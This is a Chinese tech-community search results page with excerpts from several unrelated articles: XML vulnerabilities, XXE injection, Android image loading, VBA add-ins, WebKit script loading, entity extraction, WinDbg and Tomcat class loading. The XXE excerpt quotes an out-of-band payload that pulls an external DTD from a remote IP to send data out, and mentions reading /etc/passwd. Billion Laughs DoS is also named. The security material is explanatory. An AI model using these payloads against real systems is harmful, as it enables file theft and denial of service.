首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    XML 相关漏洞风险研究

    字符实体可以用数字表示任意字符,比如字符 A 可以表示为 A(十进制) 或者 A(十六进制); 命名实体在 XML 规范中也称为内部实体,命名实体在内部或者外部 DTD 中进行声明,在...参数实体同样定义在 DTD 中,但名称前会加一个百分号 %,并且参数实体只能在 DTD 中使用 %name; 进行引用: <!...DoS 在 Entity 一节中我们说到 XML 的 DTD 可以定义实体,而且实体的定义中可以引入其他实体,那么我们可以定义一个 XML 不断引用其他实体,可以以很小的初始数据实现指数级别的内容膨胀,...Billion laughs attack XSS 在 XSLT 一节中我们说到基于 XSLT 样式表可以为 XML 提供样式转换,而且这个转换是浏览器也支持的。...有不同的实现,因此我们在测试 XSLT 之前第一件事就是先确定其实现以及支持的版本,XSLT 1.0 标准中定义了 3 个必须实现的属性,使用 system-property 函数进行获取: <xsl:

    38510

    XML外部实体(XXE)注入原理解析及实战案例全汇总

    ENTITY,这就是我们要提到的实体,实体本质是定义了一个变量,变量名xxe,值为“test”,后面在 XML 中通过 & 符号进行引用,所以根据DTD我们写出下面的xml文件: 因为ANY的属性,元素我们可以随意命令...XML外部实体是一种自定义实体,定义位于声明它们的DTD之外,声明使用SYSTEM关键字,比如加载实体值的URL: 这里URL可以使用file://协议,因此可以从文件加载外部实体。...ENTITY ,指向外部文件的 XML 文件,DTD中定义了xxe的外部实体,在元素productId中触发,并渲染了内容etc/passwd: 2)文件上传类Blind OOB XXE 这是关于XXE...ENTITY % dtd SYSTEM"http://197.37.102.90/ext.dtd"> %dtd; %send; ]]> 服务器在解析这个docx文件的时候,如果受害者开启了外部实体,XML...:可扩展样式表转换漏洞,XSLT是XML的推荐样式表语言; 3) XPath注入漏洞,XPath用于浏览XML文档中的元素和属性,XSLT使用XPath来查找XML文档中的信息。

    16.7K41

    在Android中高效的加载大图

    因此,你完全可以略过本篇文章,但我想介绍一些加载大图的基础知识及其实际工作的原理。 我只想解释图片解码背后的逻辑。我建议你使用Picasso或Glide来加载图片。没有必要重新发明轮子。...原因如下: 存储在磁盘上的图片是被压缩过的(以JPG,PNG或类似的格式存储)。 一旦将图片加载到内存中,它就不再被压缩,并占用尽可能多的图片的所有像素所需的内存空间。...加载大图的步骤 获取图片的宽和高 根据图片的宽和高计算缩放比 根据缩放比将图片加载到内存中。 BitmapFactory.Options BitmapFactory可以为我们提供图片的元数据。...在android官方文档中,计算结果是2的幂次方。...正如我之前说过的,图片存储在磁盘上时会被压缩。当我们将它们加载到内存中时它们会占据更大的内存空间。通过上面这种方法,我们将它在内存中占据的空间大小从12.3 MB减少到了3.1 MB,减少了75%。

    82820

    在加载宏及其源文件之间切换

    标签:VBA,加载宏 在“.xlsm”文件及其转换为的加载项文件“.xlam”之间来回切换并不是一件很容易的事。...下面是www.wimgielis.com中提供的一个示例,在Personal.xlsb(个人宏工作簿)中,还添加了五个过程在xlsm版本(主要用于开发)和xlam版本(主要用来测试和使用)之间切换: Addin_SAVE_AS...也可以在完美Excel微信公众号中发送消息: 切换加载宏 获取示例代码工作簿的下载链接。 或者,直接到知识星球App完美Excel社群中下载示例代码工作簿。...下面是4个程序代码: Const Addin_FileName As String = "Menu_Test.xlsm" ' 在文件及其加载项对应文件之间切换的过程 Sub Addin__SAVE_AS...Then Workbooks(Addin_FileName).Close End If On Error GoTo 0 End Sub 最后补充一点,这两个文件(xlsm和xlam)都存储在加载宏的默认文件夹中

    11910

    在WebKit中并行加载外部脚本译:

    尽管通过WebKit的预加载扫描器能够利用网页显示的空闲时间预先下载资源,在一定程度上改善了浏览器的阻塞状况,但是网络延迟依然会导致网页加载缓慢。...虽然围绕性能优化的问题已经有了很多不错的技术(参见:延迟加载,异步加载),但是他们都无法避免地引入了额外的代码,或是针对浏览器的Hacks写法。...async 脚本会在自身被下载完、window.load 事件执行前立刻被执行,这意味着 async 脚本有可能(应该说很可能)不会按照它们在页面中出现的顺序被执行;而 defer 脚本则一定是按照它们在页面中出现的先后顺序执行...,准确地说,是在整个页面被解析完成之后,文档的DOMContentLoaded事件之前执行。...我们可以看到这个页面加载话费了2秒钟时间。 还是同一个例子,只是是其中的外部脚本被标记为 defer。由于签入的脚本可以在外部脚本被下载的同时执行,因此我们看到这个页面加载的速度大约是之前的两倍。

    1.8K70

    浅析深度学习在实体识别和关系抽取中的应用

    隐马尔可夫模型(HMM)主要利用Viterbi算法求解命名实体类别序列,在训练和识别时的效率较高且速度较快。...给定用户输入的一段自然语言,在正确识别实体的基础上,抽取它们之间的关系就是亟待解决的重要问题。目前解决这个问题的方法分为串联抽取和联合抽取两类。...一般传统的串联抽取方法是在实体抽取的基础上进行实体之间关系的识别。在这种方法中,先期实体识别的结果会影响到关系抽取的结果,前后容易产生误差累积。...在论文《Joint Entity and Relation Extraction Based on A Hybrid Neural Network》中,作者提出了混合的神经网络模型来进行命名实体识别(NER...总结 3 参数共享的方法越来越多的被用于基于神经网络的实体识别和关系抽取联合学习中,这种方法在多任务中有着广泛的应用且简单容易实现。

    1.9K80

    浅析深度学习在实体识别和关系抽取中的应用

    隐马尔可夫模型(HMM)主要利用Viterbi算法求解命名实体类别序列,在训练和识别时的效率较高且速度较快。...给定用户输入的一段自然语言,在正确识别实体的基础上,抽取它们之间的关系就是亟待解决的重要问题。目前解决这个问题的方法分为串联抽取和联合抽取两类。...一般传统的串联抽取方法是在实体抽取的基础上进行实体之间关系的识别。在这种方法中,先期实体识别的结果会影响到关系抽取的结果,前后容易产生误差累积。...在论文《Joint Entity and Relation Extraction Based on A Hybrid Neural Network》中,作者提出了混合的神经网络模型来进行命名实体识别(NER...总结 3 参数共享的方法越来越多的被用于基于神经网络的实体识别和关系抽取联合学习中,这种方法在多任务中有着广泛的应用且简单容易实现。

    2.4K41

    WinDbg 设置在加载到某个 DLL 进入断点

    本文记录如何在 WinDbg 里,设置在加载到某个 DLL 时,自动进入断点。通过此方式用来定位是哪个业务模块加载了某个 DLL 模块 在 WinDbg 里面,可以附加到现有进程,也可以启动某个进程。...本文这里需要的是调试应用启动过程,是在哪个过程加载了某个指定的 DLL 库,于是就使用 Ctrl+E 快捷键,在 WinDbg 里面选择我需要调试的应用的 exe 文件进行启动 在 WinDbg 启动的进程默认将会进入暂停...,方便输入命令 在 WinDbg 里设置在加载到某个 DLL 进入断点,可以使用如下命令 sxe ld:xxx.dll 将 xxx.dll 替换为需要关注的 DLL 名即可。...库 先使用 Ctrl+E 快捷键,在 WinDbg 选择需要启动的应用。...dotnet core 的 sos.dll 辅助调试方法 提供的方法,在安装好工具之后,加载 sos.dll 之后再次输入 kp 即可拿到堆栈详细信息 0:000> .load C:\Users\linde

    1.8K30

    Java 类在 Tomcat 中是如何加载的?

    一、类加载 在JVM中并不是一次性把所有的文件都加载到,而是一步一步的,按照需要来加载。 比如JVM启动时,会通过不同的类加载器加载不同的类。...当用户在自己的代码中,需要某些额外的类时,再通过加载机制加载到JVM中,并且存放一段时间,便于频繁使用。 因此使用哪种类加载器、在什么位置加载类都是JVM中重要的知识。...三、Tomcat类加载 在Tomcat中类的加载稍有不同,如下图: ?...当应用需要到某个类时,则会按照下面的顺序进行类加载: 1、使用bootstrap引导类加载器加载 2、使用system系统类加载器加载 3、使用应用类加载器在WEB-INF/classes中加载 4、使用应用类加载器在...WEB-INF/lib中加载 5、使用common类加载器在CATALINA_HOME/lib中加载 四、问题扩展 通过对上面Tomcat类加载机制的理解,就不难明白 为什么Java文件放在Eclipse

    2.5K20
    领券